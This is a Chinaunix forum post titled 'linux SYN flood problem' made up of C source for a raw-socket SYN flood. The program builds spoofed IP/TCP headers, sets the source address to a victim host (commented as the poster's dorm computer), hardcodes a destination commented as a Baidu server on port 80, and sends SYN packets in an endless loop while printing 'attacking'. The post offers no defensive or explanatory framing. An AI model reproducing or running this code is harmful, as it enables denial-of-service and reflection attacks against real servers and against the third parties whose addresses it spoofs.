linux SYN洪水问题 - Chinaunix

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#define DESTPORT 80 /*目的端口,定义要攻击的端口,80为web服务器*/
#define MYPORT 8888 /*自己的端口*/
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in servaddr;
int on;
on = 1;
bzero(&servaddr,sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
inet_aton("119.75.217.45",&servaddr.sin_addr);
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP); /*创建一个TCP原始套接字*/
if(sockfd < 0){
puts("连接错误");
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
setuid(getuid());
char buffer[100];
struct ip *iph = (struct ip*)buffer;
struct tcphdr *tcp;
memset(buffer,0,100);
/****开始填充ip数据报的头部**/
iph->ip_v = IPVERSION; //ipv4
iph->ip_hl = sizeof(struct ip)>>2; //ip数据报的头部长度
iph->ip_tos = 0; //服务类型
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr) + 8 + 6 + 6; //ip数据报的长度
iph->ip_id = 0; //由内核填写
iph->ip_off = 0; //由内核填写
iph->ip_ttl = MAXTTL; //最长的时间 255
iph->ip_p = IPPROTO_TCP; //传输层协议为TCP
iph->ip_sum = 0; //有内核填写检验和
//OLD WAY iph->ip_src.s_servaddr = inet_servaddr (src_ip);/* source ip */ //反射攻击
inet_pton (AF_INET,"219.151.204.68", &(iph->ip_src)); //被攻击对方(我们寝室的电脑)
iph->ip_dst.s_addr = servaddr.sin_addr.s_addr;//百度服务器
/****开始填充TCP数据报*****/
tcp = (struct tcphdr*)(buffer+sizeof(struct ip)); /**/
tcp->source = htons(MYPORT); //源端口
tcp->dest = servaddr.sin_port; //目的端口
tcp->seq = random(); //随机产生序列号
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1; /*表示SYN数据报*/
tcp->check = 0;
puts("正在攻击中...");
/*循环发送攻击包*/
while(1){
//printf("被攻击方(219.151.204.68):正在被%d攻击中\n",servaddr.sin_addr.s_addr);
sendto(sockfd,buffer,iph->ip_len,0,(struct sockaddr*)&servaddr,sizeof(struct sockaddr_in)); /*发送攻击数据报*/
}
return 0;
}

复制代码